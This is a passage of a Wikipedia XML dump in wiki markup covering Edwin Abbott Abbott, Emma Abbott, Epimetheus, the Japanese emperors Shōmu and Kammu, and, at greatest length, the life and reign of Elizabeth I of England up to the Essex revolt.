More weighty contributions are the anonymous theological discussion ''The Kernel and the Husk'' ([[1886]]), ''Philomythus'' ([[1891]]), his book ''The Anglican Career of [[John Henry Newman|Cardinal Newman]]'' ([[1892]]), and his article &quot;The Gospels&quot; in the ninth edition of the ''[[Encyclopædia Britannica]]'', embodying a critical view which caused considerable stir in the English theological world. He also wrote ''St Thomas of Canterbury, his Death and Miracles'' ([[1898]]), ''Johannine Vocabulary'' ([[1905]]), ''Johannine Grammar'' ([[1906]]). ''[[Flatland]]'' was published in [[1884]].

==Reference==
* [[Dictionary of National Biography]].

==External links==
{{Wikisource author}}
{{Wikisource1911Enc|Abbott, Edwin Arrott}}
*[http://www-groups.dcs.st-and.ac.uk/~history/Mathematicians/Abbott.html Biography of Abbott]
*{{gutenberg author|id=Edwin_Abbott_Abbott|name=Edwin Abbott Abbott}}
*[http://www.eldritchpress.org/eaa/FL.HTM Online text of Flatland]
*{{iblist name|id=359|name=Edwin Abbott Abbott}}
*{{ibdof name|id=497|name=Edwin Abbott Abbott}}
*{{isfdb name|id=Edwin_A._Abbott|name=Edwin Abbott Abbott}}

[[Category:1838 births|Abbott, Edwin Abbott]]
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  </page>
  <page>
    <title>Emma Abbott</title>
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      <text xml:space="preserve">[[Image:EmmaAbbott.jpg|thumbnail|300px|right|Emma Abbott]]
'''Emma Abbott''' ([[December 9]], [[1850]] &amp;ndash; [[January 5]], [[1891]]), [[United States|American]] [[opera]] singer, was born in [[Chicago, Illinois]] and studied in [[Milan]] and [[Paris]].  She had a fine [[soprano]] voice, and appeared first in opera in [[London]] under Colonel Mapleson's direction at [[Covent Garden]], also singing at important concerts.  She organized an opera company known by her name, and toured extensively in the [[United States]], where she enjoyed considerable reputation.  In [[1873]] she married E. J. Wetherell (Wethereil).  She died at [[Salt Lake City]].

{{Wikisource1911Enc|Abbott, Emma}}
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  <page>
    <title>Epimetheus</title>
    <id>10121</id>
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      <comment>removed link pipes as per Manual of Style for disambiguation pages</comment>
      <text xml:space="preserve">'''Epimetheus''' may mean one of several things:

*[[Epimetheus (mythology)]] the [[Titan (mythology)|Titan]].
*[[Epimetheus (moon)]] the [[natural satellite|moon]] of [[Saturn (planet)|Saturn]].
*[[1810 Epimetheus]] is an [[asteroid]].

{{disambig}}

[[fr:Épiméthée]]
[[it:Epimeteo]]
[[ja:エピメテウス (曖昧さ回避)]]
[[pl:Epimeteusz]]</text>
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  <page>
    <title>Akihito of Japan</title>
    <id>10122</id>
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  <page>
    <title>Elizabeth I</title>
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      <text xml:space="preserve">#REDIRECT [[Elizabeth I of England]]</text>
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  <page>
    <title>Emperor Shomu</title>
    <id>10125</id>
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      <text xml:space="preserve">'''Emperor Shōmu''' (聖武天皇 ''Shōmu Tennō'') ([[701]] - May 2, 756{{an|Japanese_dates1 1}}) was the 45th [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He was the son of [[Emperor Mommu]] and Fujiwara no Miyako, a daughter of [[Fujiwara no Fuhito]]. Shōmu's aunt and predecessor, [[Empress Gensho|Empress Genshō]], gave him the throne when she abdicated in [[724]]. In, [[749]], Shōmu himself abdicated in favor of his daughter, [[Empress Koken|Empress Kōken]], but continued to control the government.

Shōmu is mainly remembered for commissioning the sixteen-meter high statue of the [[Vairocana Buddha]] in the [[Todaiji temple|Tōdaiji Temple]] of [[Nara, Nara|Nara]]. At the time, this was such a massive undertaking that later chroniclers accuse him of having completely exhausted the country's reserves of [[bronze]] and [[precious metal]]s. The former emperor personally painted in the statue's eyes at the opening ceremony in [[752]] and declared himself a servant of the [[Three Jewels|three treasures]]: the [[Buddha]], [[Dharma|Buddhist teachings]] and the [[Sangha|Buddhist community]], making this the closest anyone ever came to declaring Japan a Buddhist nation. He likewise established the system of [[provincial temple]]s.

Shōmu is also known as the first emperor whose consort was not born into the imperial household. His consort Kōmyō was a [[Fujiwara]] woman. The two had a son who died in childhood.

==Notes==
#Japanese dates correspond to the traditional [[lunisolar calendar]] used in Japan until [[1873]]. May 2, 756 of the Japanese calendar corresponds to [[June 4]], [[756]] of the [[Julian calendar]].

== External links ==
* [http://www.orientalarchitecture.com/nara/TODAIJI18.htm Vairocana Buddha at the temple of Todaiji]

{{start box}}
{{succession box | before=[[Empress Gensho|Gensh&amp;#333;]] | after=[[Empress Koken|K&amp;#333;ken (later Shotoku)]] | title=[[List of Emperors of Japan|Emperor of Japan]] | years=724-749}}
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  <page>
    <title>Emperor Kammu</title>
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      <text xml:space="preserve">[[Image:Kanmu.jpeg|frame|right|Emperor '''Kammu''']]
'''Emperor Kammu''' (桓武天皇  ''Kammu Tennō'', alternative transliteration '''Kanmu''') ([[737]]&amp;ndash;[[806]]) was the 50th [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession.

During his reign ([[781]]&amp;ndash;[[806]]) the capital of Japan was moved from [[Heijokyo|Heijōkyō]] in [[Nara, Nara|Nara]], first to [[Muko, Kyoto|Nagaoka]], and then to [[Kyoto|Heian]]. This marks the beginning of the [[Heian era]] in Japanese history. He was an active emperor who set up new government organisations and fought the [[Ezo]] tribes in the north of the country.

== Politics ==

Earlier Imperial sponsorship of Buddhism, beginning with [[Prince Shotoku|Prince Shōtoku]] (574&amp;ndash;622), had lead to a general politicization of the clergy, along with an increase in intrigue and corruption. In [[784]] Kammu shifted his capital from [[Nara, Nara|Nara]] to [[Nagaoka]] in a move that was said to be designed to edge the powerful Nara Buddhist establishments out-of-state politics&amp;mdash;while the capital moved, the major Buddhist temples, and their officials, stayed put. Indeed there were a steady stream of edicts issued from 771 right through the period of Kukai's studies which, for instance, sought to limit the number of Buddhist priests, and the building of clan temples. However the move was to prove disastrous and was followed by a series of natural disasters including the flooding of half the city. In [[785]] the principal architect of the new capital, and royal favourite, Fujiwara no Tanetsugu, was assassinated.

Meanwhile Kammu's armies were pushing back the boundaries of his empire. This led to an uprising, and in [[789]] a substantial defeat for Kammu's troops. Also in 789 there was a severe draught and famine&amp;mdash;the streets of the capital were clogged with the sick, and people avoiding being drafted into the military, or into forced labour. Many disguised themselves as Buddhist priests for the same reason. Then in [[794]] Kammu suddenly shifted the capital again, this time to Heian-ky&amp;#333;, which is modern day [[Kyoto]]. The new capital was started early the previous year, but the change was abrupt and led to even more confusion amongst the populace.

Politically Kammu shored up his rule by changing the syllabus of the university. [[Confucius|Confucian]] ideology still provided the raison d'être for the Imperial government.  In [[784]] Kammu authorised the teaching of a new course based on the [[Annals of Spring and Autumn]] based on two newly imported commentaries: Kung-yang, and Ku-liang. These commentaries used political rhetoric and promote a state in which the Emperor as &quot;son of Heaven&quot; should extent his sphere of influence to barbarous lands, thereby gladdening the people. In [[798]] the two commentaries became required reading at the government university.

Kammu also sponsored the travels of the monks [[Saicho|Saichō]] and [[Kukai|Kūkai]] to [[China]], from where they returned to found the Japanese branches of, respectively, [[Tendai]] and [[Shingon Buddhism|Shingon]] [[Buddhism]].

==Genealogy==
Kammu was the son of [[Emperor Konin|Emperor Kōnin]]. 
According to the ''[[Shoku Nihongi]],'' (続日本紀), Emperor Kammu's mother Yamato no Niigasa, later [[Takano no Niigasa]], was a descendant of [[King Muryeong of Baekje]], [[Korea]]. Kammu was born before his father ascended to the throne.

After his father Kōnin became emperor, Kammu's half brother was appointed to the rank of crown prince. Later Kammu was named to succeed father instead of his brother.

Later, when he ascended to the throne, Kammu appointed his young brother, Prince Sawara, whose mother was Takano no Niigasa, as crown prince. Prince Sawara was later expelled and died in exile. 

Kammu had many consorts and [[concubine]]s, and as a result he had many sons and daughters. Among them, three sons would eventually ascend to the imperial throne: [[Emperor Heizei]], [[Emperor Saga]] and [[Emperor Junna]].

Some of his descendants (known as the Kammu Taira or [[Kammu Heishi]]) took the [[Taira]] surname, and in later generations became prominent warriors. Examples include [[Taira no Masakado]], [[Taira no Kiyomori]], and (with a further surname change) the [[Hojo clan|Hōjō clan]]. The [[waka]] poet [[Ariwara no Narihira]] was one of his grandsons.

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    <title>Empress Shotoku of Japan</title>
    <id>10127</id>
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      <text xml:space="preserve">#redirect [[Empress Koken]]</text>
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  <page>
    <title>Elizabeth I of England</title>
    <id>10128</id>
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      <text xml:space="preserve">{{featured article}}
{|align=right
|[[Image:Elizabeth I (Ermine Portrait).jpg|thumb|right|220px|'''Elizabeth I''' &lt;br&gt;&lt;small&gt;Queen of England and Ireland&lt;/small&gt;]]
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'''Elizabeth I''' ([[7 September]], [[1533]] &amp;ndash; [[24 March]], [[1603]]) was [[List of British monarchs|Queen of England]] and [[King of Ireland|Queen of Ireland]] from [[17 November]] [[1558]] until her death. Sometimes referred to as '''The Virgin Queen''' (since she was never married), '''Gloriana''', or '''Good Queen Bess''', Elizabeth I was the fifth and final monarch of the [[Tudor dynasty]], having succeeded her half-sister, [[Mary I of England|Mary I]]. She reigned during a period of great religious turmoil in [[England|English]] history.

Elizabeth's reign is referred to as the [[Elizabethan era]] or the Golden Age and was marked by increases in English power and influence worldwide. Playwrights [[William Shakespeare]], [[Christopher Marlowe]], and [[Ben Jonson]] all flourished during this era. In addition, [[Francis Drake]] became the first Englishman to circumnavigate the globe; [[Francis Bacon]] laid out his philosophical and political views; and English colonisation  of [[North America]] took place under [[Walter Raleigh|Sir Walter Raleigh]] and [[Humphrey Gilbert|Sir Humphrey Gilbert]]. Elizabeth was a short-tempered and sometimes indecisive ruler. This last quality, viewed with impatience by her counsellors, often saved her from political and marital misalliances. Like her father [[Henry VIII of England|Henry VIII]], she was a writer and poet. She granted [[Royal Charter]]s to several famous organizations, including [[Trinity College, Dublin]] ([[1592]]) and the [[British East India Company]] ([[1600]]).

The reign was marked by prudence in the granting of [[British honours system|honours and dignities]]. Only eight peerage dignities, one [[earl|earldom]] and seven [[baron|baronies]] in the [[Peerage of England]], and one barony in the [[Peerage of Ireland]], were created during Elizabeth's reign. Elizabeth also reduced the number of [[Privy Council|Privy Counsellors]] from thirty-nine to nineteen, and later to fourteen.

[[Virginia]], an English [[13 colonies|colony in North America]] and afterwards a member of the [[United States]], was named after Elizabeth I, the &quot;Virgin Queen&quot;.

==Early life==
Elizabeth was the only surviving child of King [[Henry VIII of England]] by his second wife, [[Anne Boleyn]] whom he secretly married sometime between the winter of [[1532]] and late January of [[1533]] and whom he had beheaded on [[May 19]], [[1536]]. She was born in the [[Palace of Placentia]] in [[Greenwich]], on September 7, 1533. Henry would have preferred a son to ensure the Tudor succession, but upon her birth, Elizabeth was the [[heir presumptive|heiress presumptive]] to the throne of England.

Her surviving paternal aunts included [[Margaret Tudor]] and [[Mary Tudor (queen consort of France)|Mary Tudor]]. Her maternal aunt was [[Lady Mary Boleyn]]. Her maternal uncle was [[George Boleyn, Viscount Rochford]].

After Queen Anne failed to produce a male heir, Henry had her executed on charges of [[treason]] (adultery against the King was considered treason), [[incest]] with her older brother and [[witchcraft]]. Elizabeth was three years old at that time and was also declared illegitimate and lost the title of princess. Thereafter she was addressed as Lady Elizabeth and lived apart from her father as he married his succession of wives. Henry's last wife [[Catherine Parr]] helped reconcile the King with Elizabeth, and she, along with her half-sister, Mary, daughter of [[Catherine of Aragon]], was reinstated in the line of succession after [[Edward VI of England|Prince Edward]] under the [[English Act of Succession|Act of Succession 1544]].

Elizabeth's first governess was Lady Margaret Bryan, a baroness whom Elizabeth called &quot;Muggie&quot;. At the age of four, Elizabeth had a new governess, Katherine Chapernowne, who was often referred to as &quot;Kat&quot;. Chapernowne developed a close relationship with Elizabeth and remained her confidante and good friend for life. She had been appointed to Elizabeth's household after [[Anne Boleyn]]'s death. [[Matthew Parker]], her mother's favourite priest, took a special interest in Elizabeth's well-being, particularly since a fearful Anne had entrusted her daughter's spiritual welfare to Parker before her death. Later, Parker would become the first Archbishop of [[Canterbury]] after Elizabeth became queen in [[1558]]. One companion, to whom she referred with affection throughout her life, was the Irishman [[Thomas Butler, 3rd Earl of Ormonde|Thomas Butler]], later 3rd [[Earl of Ormonde]] (ob.[[1615]]).

In terms of personality, Elizabeth was far more like [[Anne Boleyn|her mother]] than her father: neurotic, glamorous, flirtatious, charismatic and religiously tolerant. Elizabeth also inherited her mother's delicate bone structure, physique and facial features. She also inherited her mother's onyx black eyes and petite girth and not her father's enormous weight. However, from her father she did inherit his red hair. 

[[Henry VIII of England|Henry VIII]] died in [[1547]] and was succeeded by Edward VI. Catherine Parr married [[Thomas Seymour, 1st Baron Seymour of Sudeley]], Edward VI's uncle, and took Elizabeth into her household. It is believed that Seymour made advances towards Elizabeth while she lived in his household. There, Elizabeth received her education under [[Roger Ascham]].  She came to speak or read six languages: her native [[English language|English]], as well as [[French language|French]], [[Italian language|Italian]], [[Spanish language|Spanish]], [[Greek language|Greek]], and [[Latin]]. Under the influence of Catherine Parr and Ascham, Elizabeth was raised a [[Protestantism|Protestant]].

[[Image:ElizabethTudorAt13-woc-0475.jpg|thumb|left|Elizabeth in her early 20s by Levina Teerlinc]]
As long as her Protestant half-brother remained on the throne, Elizabeth's own position remained secure. In [[1553]], however, Edward died at the age of fifteen, having left a will which purported to supersede his father's.  Contravening the [[English Act of Succession|Act of Succession 1544]], it excluded both Mary and Elizabeth from succeeding to the throne and declared [[Lady Jane Grey]] to be his heiress. Lady Jane ascended the throne, but was [[Deposition_(politics)|deposed]] less than two weeks later. Armed with popular support, Mary rode triumphantly into London, her half-sister Elizabeth at her side. 

Mary I contracted a marriage with the [[Spain|Spanish]] prince Philip, later King [[Philip II of Spain]], and she worried that the people might depose her and put Elizabeth on the throne in her stead. [[Wyatt's Rebellion]] in [[1554]] sought to prevent Mary from marrying Philip and, after its failure, Elizabeth was imprisoned in the [[Tower of London]]. There were demands for Elizabeth's execution, but few Englishmen wished to put a member of the popular Tudor dynasty to death. Mary attempted to remove Elizabeth from the line of succession, but Parliament would not allow it. After two months in the Tower, Elizabeth was put under house arrest under the guard of Sir Henry Bedingfield; by the end of that year, when Mary was falsely rumoured to be pregnant, Elizabeth was allowed to return to court at Philip's behest, as he worried that his wife might die in childbirth, in which case he preferred Lady Elizabeth to succeed rather than her next-closest relative, [[Mary I of Scotland]]. For the remainder of her reign, the staunchly [[Catholicism|Catholic]] Mary persecuted Protestants, and came to be known as &quot;[[Bloody Mary (person)|Bloody Mary]]&quot; because of a desire to present her assertion of authority as cruel. She urged Elizabeth to take the faith, but the princess kept up a skilful show of allegiance to suit her own conscience and ambitions.

==Early reign==
[[Image:Elizabeth I of England - coronation portrait.jpg|thumb|right|275px|The coronation of Elizabeth]]
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In November of [[1558]], upon Mary I's death, Elizabeth ascended the throne. She was far more popular than her sister, and it is said that upon Mary's death, the people rejoiced in the streets.

Elizabeth was crowned on [[15 January]] [[1559]]. There was no [[Archbishop of Canterbury]] at the time; [[Reginald Cardinal Pole]], the last Catholic holder of the office, had died shortly after Mary I. Since the senior bishops declined to participate in the [[coronation]] (since Elizabeth was illegitimate under both [[canon law]] and [[statute]] and since she was a Protestant), the relatively unimportant [[Owen Oglethorpe]], [[Bishop of Carlisle]] had to crown her. The [[communion]] was celebrated not by Oglethorpe, but by the Queen's personal chaplain, to avoid the usage of the Roman rites. Elizabeth I's coronation was the last one during which the Latin service was used; future coronations used the English service. She later persuaded her mother's chaplain, [[Matthew Parker]], to become Archbishop. He only accepted out of loyalty to [[Anne Boleyn]]'s memory, since he found working with Elizabeth difficult at times. 

One of the most important concerns during Elizabeth's early reign was religion; she relied primarily on [[William Cecil, 1st Baron Burghley|Sir William Cecil]] for advice on the matter. The [[Act of Uniformity 1559]] required the use of the Protestant ''[[Book of Common Prayer]]'' in church services. Papal control over the [[Church of England]] had been reinstated under Mary I, but was ended by Elizabeth. The Queen assumed the title &quot;Supreme Governor of the Church of England&quot;, rather than &quot;Supreme Head&quot;, primarily because several bishops and many members of the public felt that a woman could not be the head of the Church. The [[Act of Supremacy 1559]] required public officials to take an oath acknowledging the Sovereign's control over the Church or face severe punishment.

Many bishops were unwilling to conform to the Elizabethan religious policy.  These were removed from the ecclesiastical bench and replaced by appointees  who would submit to the Queen's supremacy. She also appointed an entirely new [[Privy Council]], removing many Catholic counsellors in the process. Under Elizabeth, factionalism in the Council and conflicts at court were greatly diminished. Elizabeth's chief advisors were Sir William Cecil, a [[Secretary of State]], and [[Nicholas Bacon|Sir Nicholas Bacon]], the [[Lord Keeper of the Great Seal]]. 

Elizabeth also reduced Spanish influence in England. Though Philip II aided her in ending the [[Italian Wars]] with the [[Peace of Cateau Cambrésis]], Elizabeth remained independent in her diplomacy. She adopted a principle of &quot;England for the English&quot;. Her other realm, [[Ireland]], never benefited from such a philosophy. The enforcement of English customs in Ireland proved unpopular with its inhabitants, as did the Queen's religious policies.

Soon after her accession, many questioned whom Elizabeth would marry. Her reason for never marrying is unclear. She may have felt repulsed by the mistreatment of Henry VIII's wives. Alternatively, she may have been psychologically scarred by her rumoured childhood relationship with Lord Seymour. Contemporary gossip was that she had suffered from a physical defect that she was afraid to reveal, perhaps scarring from [[smallpox]]. There were also rumors that she would only marry one man, [[Robert Dudley, 1st Earl of Leicester]], with whom she was deeply in love.  However, her council refused to sanction the marriage because of his status and his family's participation in the [[Lady Jane Grey]] matter.  Elizabeth decided that if she couldn't have him, she would not marry at all.  It is also possible that Elizabeth did not wish to share the power of the Crown with another. It could also have been that given the unstable political situation Elizabeth could have feared an armed struggle among aristocratic factions if she married someone not seen as equally favorable to all factions. What is known for certain is that marrying anyone would have cost Elizabeth large amounts of money and independence as all of the estates and incomes Elizabeth inherited from her father, [[Henry VIII]], were only hers until she wed.

==Conflict with France and Scotland==
The Queen found a dangerous rival in her cousin, the Catholic Mary Stuart, Queen of [[Scotland|Scots]] and wife of the [[France|French]] King [[Francis II of France|Francis II]].  In 1559, Mary had declared herself Queen of England with French support.  In Scotland, Mary Stuart's mother, [[Mary of Guise]] attempted to cement French influence by providing for army fortification against English aggression.  A group of Scottish lords allied to Elizabeth deposed Mary of Guise and, under pressure from the English, Mary's representatives signed the [[Treaty of Edinburgh]], which led to the withdrawal of French troops.  Though Mary vehemently refused to ratify the treaty, it had the desired effect, and French influence was greatly reduced in Scotland.

Upon the death of her husband Francis II, Mary Stuart had returned to Scotland. In France, meanwhile, conflict between the Catholics and the [[Huguenot]]s led to the outbreak of the [[French Wars of Religion]].  Elizabeth secretly gave aid to the Huguenots. She made peace with France in [[1564]]; she agreed to give up her claims to the last English possession on the French mainland, [[Calais]], after the defeat of an English expedition at [[Le Havre]].  Elizabeth, however, did not give up her claim to the French Crown, which had been maintained since the reign of [[Edward III of England|Edward III]] during the period of the [[Hundred Years' War]] in the fourteenth century, and was not renounced until the reign of [[George III of the United Kingdom|George III]] during the eighteenth century.

==Plots and rebellions==
At the end of [[1562]], Elizabeth had fallen ill with [[smallpox]], but later recovered. In [[1563]], alarmed by the Queen's near-fatal illness, parliament demanded that she marry or nominate an heir to prevent civil war upon her death. She refused to do either, and in [[April]], she [[Prorogation|prorogued]] parliament. Parliament did not reconvene until Elizabeth needed its assent to raise taxes in [[1566]]. The [[House of Commons|House of Commons]] threatened to withhold funds until the Queen agreed to provide for the succession. On 19 October, 1566, [[Sir Robert Bell]] boldly pursued Elizabeth for the royal answer despite her command to leave it alone; in her own words &quot;Mr. Bell with his complices must needs prefer their speeches to the upper house to have you my lords, consent with them, whereby you were seduced, and of simplicity did assent unto it&quot;. 

Different lines of succession were considered during Elizabeth's reign. One possible line was that of [[Margaret Tudor]], Henry VIII's elder sister, which led to Mary I, Queen of Scots. The alternative line descended from Henry VIII's younger sister, [[Mary Tudor (queen consort of France)|Mary Tudor, Duchess of Suffolk]]; the heir in this line would be the [[Lady Catherine Grey]], [[Lady Jane Grey]]'s sister. An even more distant possible successor was [[Henry Hastings, 3rd Earl of Huntingdon]], who could claim descent only from [[Edward III of England|Edward III]], who reigned during the fourteenth century. Each possible heir had his or her disadvantages: Mary I was a Catholic, Lady Catherine Grey had married without the Queen's consent and the [[Puritanism|Puritan]] Lord Huntingdon was unwilling to accept the Crown.

Mary, Queen of Scots, had to suffer her own troubles in Scotland. Elizabeth had suggested that if she married the Protestant [[Robert Dudley, 1st Earl of Leicester]], then Elizabeth would &quot;proceed to the inquisition of her right and title to be our next cousin and heir.&quot; Mary Stuart refused, and in [[1565]] married a Catholic, [[Henry Stuart, Lord Darnley]]. Lord Darnley was murdered in [[1567]] after the couple had several disputes, and Mary then married the alleged murderer, [[James Hepburn, 4th Earl of Bothwell]]. Scottish nobles then rebelled, imprisoning Mary and forcing her to abdicate in favour of her infant son, who consequently became [[James I of England|James VI]].

In [[1568]], the last viable English heir to the throne, Catherine Grey, died. She had left a son, but he was deemed illegitimate. Her heiress was her sister, the [[Lady Mary Grey]], a hunchbacked dwarf. Elizabeth was once again forced to consider a Scottish successor, from the line of her father's sister, Margaret Tudor, Queen of Scots. Mary I, however, was unpopular in Scotland, where she had been imprisoned. She later escaped from her prison and fled to England, where she was captured by English forces. Elizabeth was faced with a conundrum: sending her back to the Scottish nobles was deemed too cruel; sending her to France would put a powerful pawn in the hands of the French king; forcefully restoring her to the Scottish Throne may have been seen as an heroic gesture, but would cause too much conflict with the Scots; and imprisoning her in England would allow her to participate in plots against the Queen. Elizabeth chose the last option: Mary was kept confined for eighteen years, much of it in [[Sheffield Castle]] and [[Sheffield Manor]] in the custody of [[George Talbot, 6th Earl of Shrewsbury]], and his redoubtable wife [[Bess of Hardwick]].

In [[1569]], Elizabeth faced a major uprising, known as the [[Northern Rebellion]], instigated by [[Thomas Howard, 4th Duke of Norfolk]], [[Charles Neville, 6th Earl of Westmorland]] and [[Thomas Percy, 7th Earl of Northumberland]]. [[Pope Pius V]] aided the Catholic Rebellion by excommunicating Elizabeth and declaring her deposed in a [[papal bull|Papal Bull]]. The Bull of Deposition, ''[[Regnans in Excelsis]]'', was only issued in [[1570]], arriving after the Rebellion had been put down. After the Bull of Deposition was issued, however, Elizabeth chose not to continue her policy of religious toleration. She instead began the persecution of her religious enemies, leading to various conspiracies to remove her from the Throne.

Elizabeth then found a new enemy in her brother-in-law, Philip II, King of Spain. After Philip had launched a surprise attack on the English privateers Sir [[Francis Drake]] and [[John Hawkins]] in 1568, Elizabeth assented to the detention of a Spanish treasure ship in 1569. Philip was already involved in putting down a rebellion in the [[Netherlands]], and could not afford to declare war on England.

Philip II participated in some conspiracies to remove Elizabeth, albeit reluctantly. The 4th Duke of Norfolk was also involved in the first of these plots, the [[Ridolfi plot|Ridolfi Plot]] of [[1571]]. After the Catholic Ridolfi Plot was discovered (much to Elizabeth's shock) and foiled, the Duke of Norfolk was executed and Mary lost the little liberty she had remaining. Spain, which had been friendly to England since Philip's marriage to Elizabeth's predecessor, ceased to be on cordial terms. 

In [[1571]], Sir William Cecil was created [[Baron Burghley]]; a wise and humorous man, who always advised caution in international relations, he had been Elizabeth's chief advisor from the earliest days, and he remained so until his death in 1598. In [[1572]], Burghley was raised to the powerful position of [[Lord High Treasurer]]; his post as Secretary of State was taken up by the head of Elizabeth's spy network, [[Francis Walsingham|Sir Francis Walsingham]].

Also in [[1572]], Elizabeth made an alliance with [[France]]. The [[St. Bartholomew's Day Massacre|St Bartholomew's Day Massacre]], in which thousands of French Protestants (Huguenots) were killed, strained the alliance but did not break it. Elizabeth even began marriage negotiations with [[Henry III of France|Henry, Duke of Anjou]] (later King Henry III of France and of Poland), and afterwards with his younger brother [[François, Duke of Anjou|François, Duke of Anjou and Alençon]]. During the latter's visit in [[1581]], it is said that Elizabeth &quot;drew off a ring from her finger and put it upon the Duke of Anjou's upon certain conditions betwixt them two&quot;. The Spanish Ambassador reported that she actually declared that the Duke of Anjou would be her husband. However, Anjou, who is in any case said to have preferred men to women, returned to France and died in [[1584]] before he could be married.

==Conflict with Spain and Ireland==
In [[1580]], [[Pope Gregory XIII]] sent a force to aid the second of the [[Desmond Rebellions]] in Ireland; but by 1583, the rebellion had been put down after a campaign waged by fire, sword and famine, in which almost the entire population of the north-western part of the province of Munster appears to have died; chilling, albeit approving, observations on the campaign are set out in ''A View of the Present State of Ireland'' by the poet, [[Edmund Spenser]] (first licensed for publication in 1633, four decades after it was written).

Also in 1580, Philip II annexed [[Portugal]], and with the Portuguese throne came the command of the high seas. After the assassination of the Dutch Stadholder [[William I of Orange|William I]], England began to side openly with the [[Dutch Republic|United Provinces]] of the Netherlands, who were at the time rebelling against Spanish rule. This, together with economic conflict with Spain and English piracy against [[Spanish Empire|Spanish colonies]] (which included an English alliance with Islamic Morocco), led to the outbreak of the [[Anglo-Spanish War (1585)|Anglo-Spanish War]] in [[1585]] and in [[1586]] the Spanish ambassador was expelled from England for his participation in conspiracies against Elizabeth. Fearing such conspiracies, Parliament had passed the [[Act of Association 1584]], under which anyone associated with a plot to murder the Sovereign would be excluded from the line of succession. However, a further scheme against Elizabeth, the [[Babington plot|Babington Plot]], was revealed by Sir Francis Walsingham, who headed the English spy network. Having put the court on full proof of the charge, Mary Stuart was convicted of complicity in the plot on foot of disputed evidence and executed at [[Fotheringhay|Fotheringhay Castle]] on [[February 8]], [[1587]].

[[Image:Elizabeth I (Armada Portrait).jpg|thumb|right|350px|The above portrait was made in approximately 1588 to commemorate the defeat of the [[Spanish Armada]] (depicted in the background). Elizabeth I's international power is reflected by the hand resting on the globe.]]
In her will, Mary had left Philip her claim to the English Throne; under force of the threat from Elizabeth's policies in the Netherlands and the east Atlantic, Philip set out his plans for an invasion of England. In [[April]] 1587, Sir [[Francis Drake]] burned part of the Spanish fleet at [[Cádiz]], delaying Philip's plans. In [[July]] [[1588]], the [[Spanish Armada]], a grand fleet of 130 ships bearing over 30,000 men, set sail in the expectation of conveying a Spanish invasion force under the command of the [[Alessandro Farnese, Duke of Parma and Piacenza|Duke of Parma]] across the [[English Channel]] from the Netherlands. Elizabeth encouraged her troops with a notable speech, known as the [[Speech to the Troops at Tilbury]], in which she famously declared, &quot;I know I have the body but of a weak and feeble woman; but I have the heart and stomach of a King, and of a King of England too&quot;.

The Spanish attempt was defeated by the English fleet under [[Charles Howard, 1st Earl of Nottingham|Charles Howard, 2nd Baron Howard of Effingham]] and Sir Francis Drake, aided by bad weather. The Armada was forced to return to Spain, with appalling losses on the north and west coasts of Ireland; the victory tremendously increased Elizabeth's popularity. 

The battle, however, was not decisive, and the war continued in the Netherlands, where the Dutch Estates were seeking independence from Spain. The English government was also concerned with the conflict in France and the claim to the throne of a protestant heir, Henry (later [[Henry IV of France|Henry IV]]). Elizabeth sent 20,000 troops and subsidies of over £300,000 to Henry, and 8,000 troops and subsidies of over £1,000,000 to the Dutch.

English [[privateers]] continued to attack Spanish treasure ships from the Americas; the most famous privateers included [[John Hawkins|Sir John Hawkins]] and [[Martin Frobisher|Sir Martin Frobisher]]. In [[1595]] and [[1596]], a disastrous expedition on the [[Spanish Main]] led to the deaths of the aging Sir John Hawkins and Sir Francis Drake. Also in 1595, Spanish troops under the command of [[Don Carlos de Amesquita]] landed in [[Cornwall]], where they routed a large English militia and burned some villages, before celebrating a mass and retiring in the face of a naval force led by Sir [[Walter Raleigh]].

In 1596, England finally withdrew from France, with Henry IV firmly in control. He had assumed the throne, commenting with double-edged irony that, &quot;Paris is worth a mass&quot;; the [[Catholic League (French)|Holy League]], which opposed him, had been demolished, and Elizabeth's diplomacy was beset with a new set of problems; at the same time, the Spanish had landed a considerable force of ''[[tercios]]'' in Brittany, which had expelled the English forces that were present and presented a new front in the war, with an added threat of invasion across the channel. Elizabeth sent a further 2,000 troops to France after the Spanish took [[Calais]]. Then she authorised an attack on the [[Azores]] in [[1597]], but the attempt was a disastrous failure. Further battles continued until [[1598]], when France and Spain finally made peace. The [[Anglo-Spanish War (1585)|Anglo-Spanish War]], meanwhile, reached a stalemate after Philip II died later in the year. In part because of the war, Raleigh and Gilbert's overseas colonisation attempts came to nothing, and the English settlement of North America was stalled, until [[James I of England|James I]] negotiated peace in the [[Treaty of London, 1604]].

==Later years==
[[Image:Nicholas Hilliard 018.jpg|thumb|Portrait by [[Nicholas Hilliard]], c. 1590]]
In [[1598]], Elizabeth's chief advisor, Lord Burghley, died. His political mantle was inherited by his son, [[Robert Cecil, 1st Earl of Salisbury|Robert Cecil]], who had previously become Secretary of State in [[1590]]. Elizabeth became somewhat unpopular because of her practice of granting royal [[monopoly|monopolies]] the abolition of which Parliament continued to demand. In her famous &quot;Golden Speech&quot;, Elizabeth promised reforms. Shortly thereafter, twelve royal monopolies were ended by royal proclamation; further sanctions could be sought in the courts of [[common law]]. These reforms, however, were only superficial; the practice of deriving funds from the grants of monopolies continued. 

At the same time as England was fighting Spain, it also faced a rebellion in Ireland, known as the [[Nine Years War (Ireland)|Nine Years War]]. The chief executor of Crown authority in the north of Ireland, [[Hugh O'Neill, 2nd Earl of Tyrone]], was declared a traitor in [[1595]]. Seeking to avoid further war, Elizabeth made a series of truces with the earl; but during this period, Spain attempted two further armada expeditions against northern Europe, although both failed owing to adverse weather conditions. In [[1598]], O Neill offered a truce, while benefitting from Spanish aid in the form of arms and training; upon expiry of the truce, the English suffered their worst defeat in Ireland at the [[Battle of the Yellow Ford]].

In 1599, one of the leading members of the navy, [[Robert Devereux, 2nd Earl of Essex]], was appointed [[Lord Lieutenant of Ireland]] and given command of the largest army ever sent to Ireland, in an attempt to defeat the rebels. Essex's campaign was soon dissipated, and after a private parley with O Neill - in which the latter sat on horseback in the middle of a river - it became clear that victory was out of reach. In 1600, Essex returned to England without the Queen's permission, where he was punished by the loss of all political offices and of the trade monopolies, which were his principal income.

The succession to the throne had been the ultimate political concern in England since Mary Stuart's arrival in Scotland in the 1560s, and by the end of the century there was only one question in the minds of Elizabeth's advisors: who next? It is in this context that the behaviour of Essex is best explained. In [[1601]], he led a revolt against the Queen, but popular support was curiously lacking, and the former darling of the masses was executed. 

